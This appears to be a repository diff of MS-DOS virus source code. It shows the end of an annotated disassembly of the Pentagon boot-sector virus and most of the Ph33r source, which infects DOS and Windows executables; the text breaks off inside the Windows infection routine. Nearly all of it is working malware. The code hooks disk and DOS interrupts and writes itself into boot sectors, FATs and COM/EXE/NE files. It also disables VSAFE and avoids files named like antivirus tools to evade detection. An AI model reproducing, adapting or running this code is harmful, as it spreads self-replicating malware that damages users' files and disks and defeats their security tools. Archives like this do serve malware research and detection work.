||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Read actual boot sector - Brain infected
|
||||
|
||||
BP048D: PUSH AX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV CX,[BX+7] ; Get track and sector
|
||||
MOV DH,[BX+6] ; Get head number
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
POP DX
|
||||
POP CX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Generate a sound
|
||||
|
||||
BP04A0: MOV BP,1 ; One loop
|
||||
MOV AL,0B6H ; Counter two, both bytes, sq wave
|
||||
OUT 43H,AL ; Set PIT control register
|
||||
MOV AX,0533H ; Sound frequency
|
||||
OUT 42H,AL ; Send first byte
|
||||
MOV AL,AH ; Get second byte
|
||||
OUT 42H,AL ; Send second byte
|
||||
IN AL,61H ; Get port B
|
||||
MOV AH,AL ; Save port B value
|
||||
OR AL,3 ; Set sound bits on
|
||||
OUT 61H,AL ; Send port B
|
||||
SUB CX,CX ; Maximum loop count
|
||||
BP04BA: LOOP BP04BA ; Delay
|
||||
DEC BP ; Decrement count of loops
|
||||
JNZ BP04BA ; Branch if not zero (it won't be)
|
||||
MOV AL,AH ; Recover original port B
|
||||
OUT 61H,AL ; Send port B
|
||||
RET
|
||||
|
||||
; Int 13H routine
|
||||
|
||||
BP04C4: STI
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
MOV CS:DB0790,DL ; Save device
|
||||
CMP AH,2 ; Is function a read?
|
||||
JE BP04DA ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP04DA: DEC CS:DB07E0 ; Decrement count
|
||||
JZ BP04E4 ; Infect when zero
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get boot sector
|
||||
|
||||
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
PUSH CS ; \
|
||||
POP AX ; \ Set DS & ES to CS
|
||||
MOV DS,AX ; /
|
||||
MOV ES,AX ; /
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,1 ; Track zero, sector one
|
||||
MOV DH,0 ; Head zero
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0508 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Brain virus
|
||||
|
||||
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
|
||||
JNE BP051D ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
|
||||
CALL BP048D ; Read actual boot sector
|
||||
JNB BP052D ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Pentagon virus
|
||||
|
||||
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
|
||||
JNE BP052D ; Branch if not
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for DOS boot sector
|
||||
|
||||
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
|
||||
JE BP0538 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get first FAT sector
|
||||
|
||||
BP0538: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0549 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check media byte
|
||||
|
||||
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
|
||||
JE BP0551 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get second sector of FAT
|
||||
|
||||
BP0551: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0562 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
|
||||
JNE BP0573 ; Branch if off
|
||||
MOV BX,0A03H ; Address first cluster in FAT
|
||||
MOV CX,2 ; First cluster is number two
|
||||
CALL BP0391 ; Unflag Brain virus bad clusters
|
||||
BP0573: MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP033E ; Find unused FAT entry pair
|
||||
JNB BP0581 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
|
||||
INC CX ; Next cluster number
|
||||
MOV [BX],CX ; Put it in first FAT entry
|
||||
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
DEC CX ; Set cluster number back
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW0788,CX ; Save virus track & sector
|
||||
MOV CS:DW078A,DX ; Save virus head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CS:[BP+00],CX ; Save virus track & sector
|
||||
MOV CS:[BP+03],DH ; Save virus head
|
||||
POP BP
|
||||
MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP0368 ; Find an unused FAT entry
|
||||
JNB BP05B7 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW078C,CX ; Save file track & sector
|
||||
MOV CS:DW078E,DX ; Save file head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CS:[BP],CX ; Save track and sector
|
||||
MOV CS:[BP+3],DH ; Save head
|
||||
POP BP
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Length to encrypt
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
|
||||
LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BX,0200H ; Virus second sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,CS:DW0788 ; Get virus track & sector
|
||||
MOV DX,CS:DW078A ; Get virus head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP0613 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0613: MOV AX,3 ; Three sectors to write
|
||||
BP0616: PUSH AX ; Save write count
|
||||
ADD BX,0200H ; Next sector buffer
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement count
|
||||
JNZ BP0616 ; Repeat for each sector
|
||||
JMP BP0631
|
||||
|
||||
BP062D: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write file
|
||||
|
||||
BP0631: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
MOV CX,CS:DW078C ; Get file track & sector
|
||||
MOV DX,CS:DW078E ; Get file head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV BX,1000H ; Address file buffer
|
||||
MOV AX,2 ; Two sectors to write
|
||||
BP065B: PUSH AX ; Save write count
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Address next sector buffer
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement write count
|
||||
JNZ BP065B ; Write each sector
|
||||
MOV BX,OFFSET BP0059 ; Start of encrypted
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt
|
||||
XOR BX,BX ; Address start of virus
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
XOR DH,DH ; Head zero
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP068C ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 1st FAT sector
|
||||
|
||||
BP068C: MOV BX,OFFSET BP0059
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV BX,0A00H ; Address 1st FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06A8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 2nd FAT sector
|
||||
|
||||
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
INC CX ; Next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06B8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Create directory entries
|
||||
|
||||
BP06B8: MOV BX,0E00H ; Address directory
|
||||
MOV CX,5 ; Track zero, sector 5
|
||||
XOR DH,DH ; Head zero
|
||||
MOV AX,7 ; Seven sectors to read
|
||||
BP06C3: PUSH AX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Read from disk
|
||||
JB BP06F1 ; Branch if error
|
||||
POP AX ; \ Retrieve and save read count
|
||||
PUSH AX ; /
|
||||
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
|
||||
CALL BP0401 ; Update directory
|
||||
JNB BP06F5 ; Branch if entry found
|
||||
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
|
||||
JNE BP06EA ; Branch if off
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06EA: POP AX ; Retrieve sector count
|
||||
DEC AX ; Decrement sector count
|
||||
JNZ BP06C3 ; Repeat for each sector
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F1: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F5: POP AX
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06FC: POP DI
|
||||
POP ES
|
||||
POP SI
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
INT 68H ; Disk I/O
|
||||
RETF 2
|
||||
|
||||
; Int 9 routine
|
||||
|
||||
BP0709: PUSH AX
|
||||
PUSH BX
|
||||
PUSH DS
|
||||
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
IN AL,60H ; Get keyboard token
|
||||
MOV BX,OFFSET BB0417 ; Address Key states
|
||||
TEST BYTE PTR [BX],8 ; Alt key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
CMP AL,53H ; Del character token?
|
||||
JNE BP0736 ; Branch if not
|
||||
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
|
||||
XOR AL,AL ; \ ?
|
||||
OUT 60H,AL ; /
|
||||
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
|
||||
BP0736: POP DS
|
||||
POP BX
|
||||
POP AX
|
||||
INT 69H ; Keyboard I/O
|
||||
PUSHF
|
||||
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
|
||||
JNE BP0765 ; Branch if off
|
||||
POPF
|
||||
MOV AX,3 ; Set mode three
|
||||
INT 10H ; VDU I/O
|
||||
CLI
|
||||
MOV AL,0AH ; Repeat delay 10 times
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP074F: LOOP BP074F ; Delay
|
||||
DEC AL ; Decrement delay count
|
||||
JNZ BP074F ; Repeat delay for count
|
||||
CALL BP04A0 ; Generate a sound
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP075A: LOOP BP075A ; Delay
|
||||
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
|
||||
STI
|
||||
INT 19H ; Disk bootstrap
|
||||
|
||||
BP0765: POPF
|
||||
RETF 2
|
||||
|
||||
DB 27 DUP (0)
|
||||
|
||||
DW0784 DW 0064H ; Cluster number of virus
|
||||
DW0786 DW 0066H ; Cluster number of file
|
||||
DW0788 DW 0B02H ; Virus track & sector
|
||||
DW078A DW 0101H ; Virus head and drive
|
||||
DW078C DW 0B06H ; File track and sector
|
||||
DW078E DW 0101H ; File head and drive
|
||||
DB0790 DB 1 ; Device number
|
||||
|
||||
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
|
||||
DB07B1 DB 'Pentagon,ZG'
|
||||
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
|
||||
|
||||
DB07E0 DB 20H ; Infection count
|
||||
DB07E1 DB 0FFH ; Infected by Brain switch
|
||||
DB07E2 DB 0 ; Directory update switch
|
||||
DB07E3 DB 0 ; Reboot switch
|
||||
|
||||
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
828
MSDOS/Virus.MSDOS.Unknown.ph33r.a86
Normal file
828
MSDOS/Virus.MSDOS.Unknown.ph33r.a86
Normal file
@ -0,0 +1,828 @@
|
||||
;
|
||||
;
|
||||
; Ph33r
|
||||
;
|
||||
; Qark/VLAD
|
||||
;
|
||||
;
|
||||
;
|
||||
; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
|
||||
; files.
|
||||
; The technology of the Windows infection is superior to 'Winsurfer'
|
||||
; in that the virus goes directly resident, without having to mess around
|
||||
; infecting the Windows 'shell'. The Windows entry of the virus allocates
|
||||
; memory, points a selector to it, copies the virus into the space and
|
||||
; sets interrupt 21h to the resident virus. By careful programming it was
|
||||
; possible to make both the DOS and Win interrupt handlers share the same
|
||||
; code.
|
||||
;
|
||||
; The virus does a few interesting things:
|
||||
; Disables MSAV by turning it off (DOS)
|
||||
; Gets the original Int 21h using DOSSEG:109Eh (DOS)
|
||||
; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
|
||||
;
|
||||
; A few annoying things:
|
||||
; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
|
||||
; If the virus infects WIN386.EXE Windows crashes on load.
|
||||
; These have both been fixed, by removal.
|
||||
;
|
||||
; For some unknown reason, the virus causes Debug to crash on exit.
|
||||
; I haven't fixed this, because I figure anyone who uses Debug will spot
|
||||
; the virus anyway. Besides which, I haven't got a clue why it's happening :)
|
||||
;
|
||||
; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
|
||||
; heuristically.
|
||||
;
|
||||
|
||||
org 0
|
||||
|
||||
com_entry: ;COM files begin execution here.
|
||||
call exec_start
|
||||
push es
|
||||
pop ds
|
||||
|
||||
;COM file exit.
|
||||
|
||||
mov di,100h
|
||||
push di
|
||||
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
old2 dw 20cdh
|
||||
stosw
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
old4 dw 0
|
||||
stosw
|
||||
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
ret
|
||||
|
||||
exe_entry: ;EXE files begin execution here.
|
||||
call exec_start
|
||||
push es
|
||||
pop ds
|
||||
|
||||
;Setup ss:sp
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
db 5 ;ADD AX,xxxx
|
||||
old_ss dw 0
|
||||
mov ss,ax
|
||||
db 0bch ;MOV SP,xxxx
|
||||
old_sp dw 0
|
||||
|
||||
;setup the return
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
db 5 ;ADD AX,xxxx
|
||||
exe_cs dw 0
|
||||
push ax
|
||||
db 0b8h ;MOV AX,xxxx
|
||||
exe_ip dw 0
|
||||
push ax
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
retf
|
||||
|
||||
Exec_Start:
|
||||
|
||||
cld
|
||||
mov ax,51ffh ;Test resident.
|
||||
int 21h
|
||||
cmp ax,0ff51h
|
||||
je exit_virus
|
||||
|
||||
mov ax,0fa02h ;Kill VSAFE.
|
||||
mov dx,5945h ;Every DOS6+ user has a copy of this.
|
||||
xor bl,bl
|
||||
int 16h
|
||||
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ;MCB seg in DS.
|
||||
xor di,di
|
||||
cmp byte ptr [di],'Y' ;Z block ?
|
||||
ja allocate
|
||||
exit_virus:
|
||||
ret
|
||||
allocate:
|
||||
sub word ptr [di+3],(offset virus_size*2/16)+1
|
||||
sub word ptr [di+12h],(offset virus_size*2/16)+1
|
||||
mov ax,word ptr [di+12h]
|
||||
|
||||
push es
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,offset virus_size
|
||||
|
||||
;Get delta offset in SI
|
||||
call next
|
||||
next:
|
||||
pop si
|
||||
sub si,offset next
|
||||
|
||||
;Move virus to free memory.
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;DS=CX=0 from REP MOVSB
|
||||
|
||||
;Set int21h
|
||||
mov si,21h*4
|
||||
mov di,offset i21
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop si
|
||||
mov di,offset orig21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr [si-4],offset int21handler
|
||||
mov word ptr [si-2],es
|
||||
|
||||
push es
|
||||
mov ah,52h ;Thanx Neurobasher!
|
||||
int 21h
|
||||
mov ax,es
|
||||
pop es
|
||||
mov ds,ax
|
||||
|
||||
mov si,109eh ;DS:109Eh = Original Int 21 I hope.
|
||||
lodsw
|
||||
cmp ax,9090h
|
||||
jne reset21
|
||||
lodsb
|
||||
cmp al,0e8h
|
||||
jne reset21
|
||||
mov word ptr es:orig21,10a0h
|
||||
mov word ptr es:orig21+2,ds
|
||||
reset21:
|
||||
pop es
|
||||
ret
|
||||
|
||||
db '=Ph33r='
|
||||
|
||||
win21: ;Windows interrupt handling begins here.
|
||||
cmp ax,51feh
|
||||
jne non_w_res
|
||||
xchg al,ah
|
||||
iret
|
||||
non_w_res:
|
||||
cmp ax,4b00h ;Execute.
|
||||
je check_infect
|
||||
cmp ah,3dh ;File Open.
|
||||
je check_infect
|
||||
cmp ah,56h ;Rename.
|
||||
je check_infect
|
||||
cmp ah,43h ;Chmod.
|
||||
jne int_exit
|
||||
|
||||
check_infect:
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,0ah ;This function makes our CS writable.
|
||||
mov bx,cs
|
||||
int 31h
|
||||
mov es,ax
|
||||
|
||||
call setup_infect
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
popf
|
||||
|
||||
jmp int_exit
|
||||
|
||||
int21handler: ;DOS interrupt handling begins here.
|
||||
cmp ax,51ffh
|
||||
jne non_res
|
||||
xchg al,ah
|
||||
iret
|
||||
|
||||
db 'Qark/VLAD'
|
||||
|
||||
non_res:
|
||||
;For some reason, checking for AH=3dh crashes windows when its booting.
|
||||
|
||||
cmp ax,4b00h ;Execute.
|
||||
je do_file
|
||||
cmp ah,6ch ;Open.
|
||||
je do_file
|
||||
cmp ah,56h ;Rename.
|
||||
je do_file
|
||||
cmp ah,43h ;Chmod.
|
||||
je do_file
|
||||
|
||||
int_exit:
|
||||
db 0eah
|
||||
i21 dd 0
|
||||
|
||||
do_file:
|
||||
push es
|
||||
push dx
|
||||
cmp ah,6ch
|
||||
jne no_6c_fix
|
||||
mov dx,si
|
||||
no_6c_fix:
|
||||
push cs
|
||||
pop es
|
||||
call setup_infect
|
||||
pop dx
|
||||
pop es
|
||||
|
||||
jmp int_exit
|
||||
|
||||
setup_infect:
|
||||
;on entry to this call, es=writable cs
|
||||
;ds:dx=filename
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
cld
|
||||
mov si,dx
|
||||
asciiz:
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne asciiz
|
||||
sub si,4
|
||||
lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'xe' ;EXE
|
||||
je do_inf
|
||||
cmp ax,'ld' ;DLL
|
||||
je do_inf
|
||||
cmp ax,'oc' ;COM
|
||||
jne not_name
|
||||
do_inf:
|
||||
cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
|
||||
je not_name
|
||||
mov ax,word ptr [si-5]
|
||||
or ax,2020h ;Lowercase.
|
||||
cmp ax,'va' ;Don't touch files that end in AV
|
||||
je not_name ;eg TBAV
|
||||
cmp ax,'vd' ;DV.COM checks DV.EXE
|
||||
je not_name
|
||||
cmp ax,'na' ;Don't touch files that end in AN
|
||||
je not_name ;eg SCAN, TBSCAN
|
||||
cmp ax,'to' ;Don't touch files that end in OT
|
||||
je not_name ;eg F-PROT
|
||||
|
||||
call infect
|
||||
not_name:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
ret
|
||||
|
||||
Infect:
|
||||
;DS:DX=Filename, ES=our data segment
|
||||
cld
|
||||
mov ax,3d02h ;Open file to be infected.
|
||||
call int21h
|
||||
jnc file_opened
|
||||
ret
|
||||
file_opened:
|
||||
xchg bx,ax ;File handle into BX.
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ah,3fh ;Read from file.
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
mov si,offset virus_size
|
||||
|
||||
mov ax,word ptr [si]
|
||||
or ax,2020h
|
||||
cmp ax,'zm' ;Test for EXE header
|
||||
je check_exe
|
||||
jmp com_infect
|
||||
check_exe:
|
||||
cmp word ptr [si+12h],0afafh ;Infection marker.
|
||||
jne not_infected
|
||||
bad_mem:
|
||||
jmp com_end
|
||||
not_infected:
|
||||
cmp word ptr [si+18h],40h ;Windows executable.
|
||||
jb exe_infect
|
||||
jmp windows_infect
|
||||
exe_infect:
|
||||
cmp word ptr [si+0ch],-1 ;Maxmem = All
|
||||
jne bad_mem
|
||||
|
||||
call lseek_end ;Get file length in DX:AX
|
||||
or dx,dx
|
||||
jnz ok_exe_size
|
||||
cmp ax,1000
|
||||
jb bad_mem
|
||||
ok_exe_size:
|
||||
mov cx,512
|
||||
div cx
|
||||
inc ax
|
||||
cmp [si+4],ax ;Check for overlays.
|
||||
ja bad_mem
|
||||
|
||||
mov ax,word ptr [si+0eh] ;Save the original SS:SP
|
||||
mov word ptr old_ss,ax
|
||||
mov ax,word ptr [si+10h]
|
||||
mov word ptr old_sp,ax
|
||||
|
||||
mov ax,word ptr [si+14h] ;Save the original CS:IP
|
||||
mov word ptr exe_ip,ax
|
||||
mov ax,word ptr [si+16h]
|
||||
mov word ptr exe_cs,ax
|
||||
|
||||
call lseek_end
|
||||
mov cx,16
|
||||
div cx
|
||||
|
||||
sub ax,word ptr [si+8]
|
||||
add dx,offset exe_entry
|
||||
mov word ptr [si+14h],dx ;New IP
|
||||
mov word ptr [si+16h],ax ;New CS
|
||||
|
||||
dec ax
|
||||
mov word ptr [si+0eh],ax
|
||||
add dx,1500
|
||||
and dx,0fffeh
|
||||
mov word ptr [si+10h],dx
|
||||
|
||||
call save_time
|
||||
|
||||
mov cx,offset virus_size
|
||||
mov ah,40h
|
||||
xor dx,dx
|
||||
call int21h
|
||||
|
||||
call lseek_end
|
||||
|
||||
mov cx,512
|
||||
div cx
|
||||
or dx,dx
|
||||
jz no_page_fix
|
||||
inc ax
|
||||
no_page_fix:
|
||||
mov word ptr [si+4],ax
|
||||
mov word ptr [si+2],dx
|
||||
call lseek_start
|
||||
|
||||
mov word ptr [si+12h],0afafh ;Set infection marker.
|
||||
mov ah,40h
|
||||
mov dx,si
|
||||
mov cx,1ch
|
||||
call int21h
|
||||
|
||||
call restore_time
|
||||
|
||||
jmp com_end
|
||||
|
||||
com_infect:
|
||||
cmp byte ptr [si+3],0afh ;Com infection marker.
|
||||
je com_end
|
||||
|
||||
;Save first four com file bytes.
|
||||
mov di,offset old2
|
||||
movsw
|
||||
mov di,offset old4
|
||||
movsw
|
||||
|
||||
mov ax,4202h ;Lseek to file end.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
or dx,dx ;Check if > 64k
|
||||
jnz com_end
|
||||
cmp ax,60000 ;Check if > 60000
|
||||
ja com_end
|
||||
cmp ax,1024
|
||||
jb com_end
|
||||
|
||||
sub ax,3
|
||||
mov word ptr com_jmp+1,ax
|
||||
|
||||
call save_time
|
||||
|
||||
mov ah,40h ;Write virus body to file.
|
||||
mov cx,offset virus_size
|
||||
xor dx,dx
|
||||
call int21h
|
||||
jc com_end
|
||||
|
||||
mov ax,4200h ;Lseek to file start.
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
mov ah,40h ;Write jump to start of file.
|
||||
mov cx,4
|
||||
mov dx,offset com_jmp
|
||||
call int21h
|
||||
|
||||
com_time_end:
|
||||
call restore_time
|
||||
|
||||
com_end:
|
||||
mov ah,3eh ;Close file.
|
||||
call int21h
|
||||
|
||||
ret
|
||||
|
||||
windows_infect:
|
||||
|
||||
;Move the Newexe pointer forward.
|
||||
push word ptr [si+3ch]
|
||||
pop word ptr newexe_off
|
||||
|
||||
sub word ptr [si+3ch],8
|
||||
cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
|
||||
jne com_end
|
||||
|
||||
mov word ptr [si+12h],0afafh ;Set infection marker.
|
||||
|
||||
;Lseek back to start of the file.
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
|
||||
call save_time
|
||||
|
||||
;Write header back.
|
||||
mov ah,40h
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
jc com_end
|
||||
|
||||
;Lseek to new exe header
|
||||
mov ax,4200h
|
||||
mov dx,word ptr newexe_off
|
||||
xor cx,cx
|
||||
call int21h
|
||||
|
||||
;Read in new exe header
|
||||
mov ah,3fh
|
||||
mov cx,512
|
||||
mov dx,offset virus_size
|
||||
call int21h
|
||||
|
||||
;Adjust header pointers
|
||||
mov ax,word ptr [si+22h] ;AX=Segment table offset.
|
||||
cmp word ptr [si+4],ax
|
||||
jb ok_et
|
||||
add word ptr [si+4],8
|
||||
ok_et:
|
||||
cmp word ptr [si+24h],ax
|
||||
jb ok_rt
|
||||
add word ptr [si+24h],8
|
||||
ok_rt:
|
||||
cmp word ptr [si+26h],ax
|
||||
jb ok_rnt
|
||||
add word ptr [si+26h],8
|
||||
ok_rnt:
|
||||
cmp word ptr [si+28h],ax
|
||||
jb ok_mrt
|
||||
add word ptr [si+28h],8
|
||||
ok_mrt:
|
||||
cmp word ptr [si+2ah],ax
|
||||
jb ok_int
|
||||
add word ptr [si+2ah],8
|
||||
ok_int:
|
||||
mov ax,word ptr [si+1ch]
|
||||
inc word ptr [si+1ch] ;Increase segment count.
|
||||
xor dx,dx
|
||||
mov cx,8
|
||||
mul cx
|
||||
|
||||
add ax,word ptr [si+22h] ;AX=Offset of segment table end.
|
||||
adc dx,0
|
||||
mov cx,512 ;512 byte portions are used
|
||||
; for the reads later on.
|
||||
div cx
|
||||
|
||||
mov word ptr ne_size,ax
|
||||
mov word ptr last_ne,dx
|
||||
|
||||
;Put the original CS:IP into our relocation table.
|
||||
push word ptr [si+14h]
|
||||
pop word ptr old_ip
|
||||
push word ptr [si+16h]
|
||||
pop word ptr old_cs
|
||||
|
||||
;Save the alignment shift count because we need that for calculating
|
||||
;the offset of our segment when writing the segment entry.
|
||||
push word ptr [si+32h]
|
||||
pop word ptr al_shift
|
||||
|
||||
;Point CS:IP to the virus.
|
||||
mov word ptr [si+14h],offset win_entry ;The new IP
|
||||
mov ax,word ptr [si+1ch]
|
||||
mov word ptr [si+16h],ax ;The new CS
|
||||
|
||||
;Initialise the lseek variable
|
||||
push word ptr newexe_off
|
||||
pop word ptr lseek
|
||||
|
||||
;The below code gets the NE header and keeps moving it forward by
|
